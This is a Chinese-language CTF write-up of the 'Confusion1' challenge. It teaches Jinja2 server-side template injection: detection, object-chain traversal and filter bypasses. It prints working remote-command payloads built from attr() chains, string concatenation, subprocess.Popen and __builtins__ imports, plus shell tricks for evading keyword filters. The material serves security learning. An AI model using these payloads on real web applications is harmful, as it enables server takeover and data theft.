1. 项目概述:一次典型的SSTI绕过实战复盘
最近在整理CTF(Capture The Flag)的Web类题目笔记,翻到了这道来自“攻防世界”平台的“Confusion1”。题目本身不算复杂,但它的解题过程非常典型,几乎涵盖了SSTI(服务器端模板注入)漏洞从发现、利用到绕过的完整链条。很多刚接触SSTI的朋友,往往卡在“发现漏洞后,如何绕过过滤执行命令”这一步。这道题就是一个绝佳的练手案例,它没有设置过于变态的WAF(Web应用防火墙),而是通过一些基础的过滤规则,引导你去思考如何组合利用Python的沙箱逃逸技巧。
简单来说,这道题的核心就是:给你一个存在SSTI漏洞的Web应用,但开发者对用户输入进行了一些关键字过滤(比如常见的os、system、eval等),你需要找到一种方法,在不触发过滤的情况下,成功执行系统命令,读取到服务器上的flag文件。这不仅仅是“知道payload”,更是理解Python对象继承链、属性获取方法以及字符串构造技巧的过程。下面,我就结合这道题,把SSTI的绕过思路掰开揉碎了讲清楚,无论你是CTF新手,还是想巩固Web安全知识,相信都能有所收获。
2. SSTI漏洞原理与快速探测
在深入绕过技巧之前,我们必须先夯实基础,明白SSTI到底是什么,以及我们是如何发现它的。
2.1 SSTI的本质:模板引擎的“信任危机”
模板引擎(如Jinja2、Twig、Smarty)是为了将动态数据(变量)嵌入到静态页面(模板)中而生的工具。开发者写一个模板文件,里面用特殊的语法(如{{变量名}})标记出动态内容的位置。当用户请求页面时,后端程序会将数据填充到这些标记里,生成最终的HTML返回给用户。
SSTI漏洞的产生,根源在于开发者将用户输入直接拼接到了模板字符串中,并交给了模板引擎去渲染。举个例子,一个正常的模板渲染可能是这样的:
template = "Hello, {{ name }}!" rendered = template_engine.render(template, name="Alice") # 输出:Hello, Alice!而存在漏洞的代码可能是这样的:
user_input = request.args.get('username') # 用户可控输入 template = "Hello, " + user_input + "!" rendered = template_engine.render(template)如果用户传入的username是{{7*7}},那么模板引擎会将其识别为模板语法并进行计算,最终输出Hello, 49!。这就意味着,用户输入被当成了代码而不仅仅是数据来执行。
注意:这里的关键区别在于,模板引擎是否对用户输入进行了“渲染”操作。如果只是将用户输入作为普通字符串输出(转义后),是安全的。但如果将其作为模板的一部分进行解析,危险就产生了。
2.2 快速指纹识别:判断模板引擎类型
不同的模板引擎有不同的语法。在CTF或渗透测试中,我们首先需要判断目标使用的是哪种引擎。常用的探测payload如下:
- 通用数学运算:
{{7*7}}-> Jinja2/Twig输出49,而一些引擎可能原样输出或报错。${7*7}-> 某些EL表达式可能输出49。#{7*7}-> 某些引擎(如Ruby ERB)的语法。
- Jinja2特定语法:
{{'7'*7}}-> 字符串乘法,输出7777777。{{config}}或{{self}}-> 尝试访问内置对象或全局变量,如果返回了对象信息,基本可以确定。
- Smarty:
{$smarty.version}可以显示版本。 - Twig (PHP):
{{_self.env.display("...")}}是经典测试。
在“Confusion1”这道题中,通过传入{{7*7}}并返回49,我们就能快速锁定目标使用的是Jinja2模板引擎(Python环境下最常见)。这一步是后续所有攻击的基础,因为不同引擎的利用链天差地别。
2.3 从计算到执行:理解对象继承链
在Jinja2中,{{}}内不仅可以进行简单的运算,还可以访问Python对象的属性和方法。这是SSTI能执行命令的理论基础。Jinja2提供了一些内置的全局对象和函数,例如:
config: 当前应用的配置对象。request: 当前的请求对象。url_for()、get_flashed_messages()等函数。
但我们的目标是执行系统命令,这就需要找到一条从这些已知对象通到os模块或subprocess模块的路径。在Python中,一切皆对象,对象之间存在继承关系。我们可以利用这种关系进行“爬取”。
一个经典的起点是{{''.__class__}}。在Python中,__class__属性可以获取一个对象所属的类。空字符串''的类是<class 'str'>。而类的__mro__属性可以显示方法解析顺序(即继承链),__base__是直接父类,__bases__是所有直接父类的元组。对于最顶层的类object,它有一个__subclasses__()方法,可以返回当前Python环境中所有继承自它的子类。
所以,常见的攻击思路是:
- 从一个简单的已知对象(如
''、[]、{}、())出发,获取其类(__class__)。 - 追溯到基类
object(通过__base__或__mro__)。 - 调用
object.__subclasses__(),获取所有可用的类列表。 - 在这个庞大的列表中,寻找包含危险方法的类,例如:
- 包含
os._wrap_close类的引用(可用于导入os模块)。 - 包含
subprocess.Popen类的引用(可直接执行命令)。 - 包含
file、open等可用于读写的类(在Python 2中常见)。
- 包含
3. 题目环境分析与过滤规则研判
明确了原理,我们回到“Confusion1”这道题。假设我们已经通过{{7*7}}确认了SSTI漏洞的存在,并尝试使用经典的payload来执行命令时,发现失败了。
3.1 初探受阻:识别过滤机制
我们可能会尝试这样的payload:{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('ls')}}但服务器返回了错误页面,或者一个明确的过滤提示(如“Hacker!”)。这说明题目设置了过滤规则。
在CTF中,常见的过滤手段包括:
- 关键字黑名单:过滤
os、system、eval、exec、import、class、subprocess、flag、cat、ls等敏感词。 - 字符串长度限制:限制输入参数的长度,防止过长的payload。
- 特殊字符过滤:过滤
[、]、.、_、'、"、(、)等用于构造对象链和函数调用的字符。 - 编码或混淆检测:尝试识别Base64、Hex、Unicode等编码形式的敏感词。
我们的首要任务就是探测出具体的过滤规则。这通常是一个“猜”和“试”的过程。
3.2 针对性测试:逐步摸清边界
我们可以设计一系列测试payload,观察服务器的反应:
- 测试基础对象访问:
{{config}}-> 如果返回对象信息,说明config没被过滤。{{request}}-> 同上。{{''}}-> 测试空字符串是否被拦截(通常不会)。
- 测试关键属性和方法:
{{''.__class__}}-> 如果被拦截,说明过滤了__class__或.或_。- 可以尝试拆分:
{{''["__class__"]}}(使用[]访问属性)或{{''|attr("__class__")}}(使用Jinja2的attr过滤器)。 - 如果
.__class__被过滤,可以尝试{{''.class}}(在某些旧版本或特殊配置下可能有效,但极少)。
- 测试命令执行相关:
- 分别提交包含
os、system、popen、subprocess的简单字符串,看是否被拦截。
- 分别提交包含
- 测试字符串构造:
- 尝试使用
+拼接、~运算符、或Jinja2的format过滤器来构造被过滤的单词。
- 尝试使用
根据网络上的解题Writeup和常见出题思路,“Confusion1”这道题很可能过滤了os、system、eval、import等明显的关键字,但可能对__class__、__base__、__subclasses__、__globals__等“双下划线”属性网开一面,或者对[]符号访问属性的方式过滤不严。同时,它可能也过滤了flag这个关键词,防止我们直接读取。
实操心得:在测试时,一定要有耐心,并且记录下每次测试的输入和输出。使用Burp Suite的Repeater模块会非常方便。先测试最简单的payload,再逐步复杂化,这样一旦被拦截,你能快速定位到是哪个“零件”出了问题。
4. 核心绕过技巧实战详解
假设我们经过测试,发现题目过滤了os、system、import,但允许使用__class__等属性和[]索引。我们的绕过策略就需要围绕如何“无中生有”地获取到执行命令的能力。
4.1 利用__subclasses__()寻找“替身”
我们的目标是找到object的所有子类,然后从中找到一个可以替代os.system的“替身”。通常,我们会寻找这些类:
<class 'os._wrap_close'>: 这是最常用的,通过它可以访问os模块的全局变量。<class 'subprocess.Popen'>: 可以直接执行命令。<class '_frozen_importlib.BuiltinImporter'>或<class '_frozen_importlib_external.FileFinder'>: 与模块导入相关,可能用于加载模块。
首先,获取所有子类并查看:{{''.__class__.__base__.__subclasses__()}}这会输出一个很长的列表。我们需要找到目标类的索引号。由于输出可能被截断或不完整,我们可以写一个简短的payload来搜索。例如,在本地或确定有回显的情况下,可以这样找os._wrap_close:{% for c in ''.__class__.__base__.__subclasses__() %}{% if "os._wrap_close" in c.__name__ %}{{ loop.index0 }}{% endif %}{% endfor %}这个Jinja2循环会遍历所有子类,如果类名包含"os._wrap_close",就输出它的索引(loop.index0)。假设我们找到索引是132。
4.2 属性访问的“花式”写法
由于可能过滤了.,我们需要用其他方式访问属性。
- 使用
[]和字符串:{{''['__class__']}}等价于{{''.__class__}}。{{''['__class__']['__base__']}}等价于{{''.__class__.__base__}}。 这可以绕过对连续点号的简单过滤。 - 使用
attr()过滤器: Jinja2提供了attr过滤器,用于获取对象的属性。{{''|attr('__class__')}}等价于{{''.__class__}}。{{''|attr('__class__')|attr('__base__')}}可以链式调用。这种方式非常优雅,且经常能绕过基于字符串匹配的过滤。
4.3 字符串构造与拼接
关键字os和system被过滤了,但我们不能直接使用它们。怎么办?构造它们!
- 使用字符串拼接:
{{('o'+'s')}}可以构造出'os'。{{('sy'+'stem')}}可以构造出'system'。- 在Jinja2中,字符串可以用
~运算符拼接:{{'o'~'s'}}。
- 使用数字转字符:
- 利用
chr()函数和数字运算。例如,os的ASCII码:o=111,s=115。 {{chr(111)~chr(115)}}也能得到'os'。但chr本身也可能被过滤。
- 利用
- 使用反转、切片等操作:
- 更隐蔽的方式,比如
{{'so'[::-1]}}可以得到'os'。
- 更隐蔽的方式,比如
4.4 整合利用:组装最终Payload
现在,我们将所有技巧组合起来,构造一个能绕过过滤的完整payload。
思路:通过__subclasses__()[132](假设os._wrap_close的索引是132)获取到os._wrap_close类,然后通过__init__.__globals__获取该类的全局命名空间,其中就包含了os模块。最后,调用os模块的popen或system方法(如果system被过滤,就用popen)。
步骤分解:
- 获取
os._wrap_close类对象:{{''|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(132)}}这里用attr过滤器替代了点号,用__getitem__(132)替代了[132]。 - 获取该类的
__init__方法,进而获取__globals__:{{...|attr('__init__')|attr('__globals__')}}将第一步的结果代入...。 - 从
__globals__字典中获取'os'模块。由于'os'字符串被过滤,我们拼接它:{{...|attr('__getitem__')('o'~'s')}} - 获取
os模块下的popen方法(system可能被过滤):{{...|attr('popen')}} - 调用
popen方法执行命令,例如读取当前目录文件ls /,并用read()读取结果:{{...|attr('popen')('ls /')|attr('read')()}}
最终Payload可能长这样(已换行便于阅读,实际使用需拼接):
{{ (()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('o'~'s')|attr('popen'))('cat /flag_is_here')|attr('read')() }}这里我用了空元组()作为起点,和空字符串''是等价的。命令换成了cat /flag_is_here,你需要根据题目提示调整路径。
4.5 进阶绕过:当__globals__和popen也被过滤时
如果出题人更狠一点,过滤了__globals__和popen,我们还有后招。
- 寻找其他危险类:除了
os._wrap_close,我们可以在__subclasses__()列表中寻找其他有用的类。例如,<class 'subprocess.Popen'>。找到它的索引(比如是258),然后直接调用:{{''.__class__.__base__.__subclasses__()[258]('ls', shell=True, stdout=-1).communicate()[0]}}同样,需要用attr和字符串拼接绕过对subprocess和Popen的过滤。 - 利用
__builtins__:很多类的__init__.__globals__里都有__builtins__,它是一个包含了大量内置函数(如__import__、eval、exec)的模块。我们可以通过它来动态导入模块。{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['__import__']('o'+'s').system('ls')}} - 使用
|string和|format过滤器进行更复杂的拼接:Jinja2的过滤器功能强大,可以组合出意想不到的效果,但这需要更深入的理解和尝试。
5. 实战演练与问题排查
理论说再多,不如动手试一次。下面我们模拟一次完整的解题过程,并记录可能遇到的问题。
5.1 逐步构造Payload
假设题目页面有一个输入框,提交后内容会在页面某处显示。
- 探测SSTI:输入
{{7*7}},页面显示49。确认Jinja2 SSTI。 - 探测过滤:
- 输入
{{''.__class__}},正常显示<class 'str'>。说明基础属性访问可用。 - 输入
{{config}},可能显示一堆配置信息,说明config对象可访问。 - 输入
{{'os'}},页面返回错误或过滤提示。确认'os'字符串被过滤。 - 输入
{{'system'}},同样被过滤。 - 输入
{{''.__class__.__base__.__subclasses__()[0]}},能显示第一个子类信息。说明__subclasses__和索引访问可用。
- 输入
- 寻找
os._wrap_close索引:由于输出可能很长,我们利用config对象(如果可用)或request对象来辅助。一个更稳妥的方法是,在本地搭建类似环境,运行print(''.__class__.__base__.__subclasses__().index(os._wrap_close))获取索引。在CTF中,这个索引通常是固定的(比如在Python 3.8/3.9的某些环境中,常见索引是132或133)。我们可以直接尝试常见索引。 - 构造绕过Payload:我们采用
attr过滤器和字符串拼接。- 首先,尝试获取
os模块:{{config|attr('__init__')|attr('__globals__')|attr('__getitem__')('o'~'s')}}(这里用config作为起点,因为它通常包含os模块的引用。如果不行,再换回__subclasses__链。) - 如果上一步成功,看到了
<module 'os' from ...>的输出,那么继续拼接执行命令的部分:{{config|attr('__init__')|attr('__globals__')|attr('__getitem__')('o'~'s')|attr('popen')('ls')|attr('read')()}}
- 首先,尝试获取
- 执行并获取结果:提交payload,页面上应该会显示
ls命令的结果,列出了目录下的文件。找到疑似flag的文件名(如flag、flag.txt、flag.php等)。 - 读取Flag:修改命令为
cat /path/to/flag,再次提交payload,即可在页面上看到flag内容。
5.2 常见问题与排查表
在操作过程中,你可能会遇到各种错误。下表列出了一些常见问题及解决思路:
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 页面返回空白或500错误 | Payload语法错误,或触发了服务器的严格过滤/WAF。 | 1. 检查括号是否匹配,引号是否成对。 2. 将payload拆分成最小部分测试,例如先测试`{{'' |
| 返回“Hacker!”或“非法输入”等提示 | 触发了黑名单关键字过滤。 | 1. 确认哪个关键字被过滤。用极简payload测试,如{{'o'}}、{{'s'}}、{{'sy'}}等。2. 尝试更多的字符串构造方法,如 ~拼接、[::-1]反转、使用chr()函数(如果可用)。3. 考虑使用其他执行命令的函数,如 os.popen、os.popen2、os.popen3、subprocess.Popen、commands.getoutput(Python 2)。 |
能获取os模块但执行命令无回显 | 命令执行成功,但输出没有被捕获或渲染到页面。 | 1. 确保使用了` |
__subclasses__()列表索引不对 | 不同Python版本、环境加载的模块不同,索引会变。 | 1. 编写一个循环payload来搜索特定类名。例如:{% for c in ''.__class__.__base__.__subclasses__() %}{{c.__name__ ~ ':' ~ loop.index0}}<br>{% endfor %}(注意,输出可能很大)。2. 搜索关键词,如 wrap_close、Popen、BuiltinImporter。3. 如果无法直接搜索,可以尝试常见的索引范围,如120-140、250-270。 |
点号.被过滤 | 无法使用obj.attr的形式。 | 1.首选:使用` |
5.3 我的踩坑记录与心得
- 不要迷信固定索引:网上很多Writeup会给出
os._wrap_close的索引是132。但在不同题目、不同Docker镜像、不同Python版本中,这个索引可能变化。掌握搜索方法比记住一个数字更重要。 - 善用
config和request:很多时候,直接从config或request对象的__globals__里就能找到os模块,这比从__subclasses__()里爬要快得多。优先尝试{{config.__class__.__init__.__globals__['os']}}。 - 命令执行与回显的技巧:
os.system('cmd')的返回值是命令的退出状态码,而不是输出。想要看到输出,必须用os.popen('cmd').read()。- 如果空格被过滤,可以用
${IFS}、$IFS、%09(Tab)等代替。 - 如果
cat、flag等关键词被过滤,尝试用more、less、head、tail、tac等命令,或者用通配符/fla*、/f*,甚至用\转义cat->c\at(取决于shell解析方式)。
- 编码与混淆:在最极端的情况下,如果所有字母数字都被严格过滤,可能需要考虑使用全字符编码(如利用Jinja2的
|string|list将数字转换成字符)或二次编码。但“Confusion1”这类入门题通常不会到这一步。 - 工具辅助:手工构造复杂的payload容易出错。可以使用一些SSTI测试工具(如tplmap)来辅助探测和生成payload,但理解其原理对于解决变种题目至关重要。
通过这样一步步分析、测试和绕过,最终拿到flag的那一刻,你对SSTI的理解就不再停留在“套用payload”的层面,而是真正拥有了应对各种过滤场景的能力。这道“Confusion1”就像一把钥匙,帮你打开了SSTI漏洞利用中“绕过”这扇大门,门后的世界,还有更多有趣的挑战等着你去探索。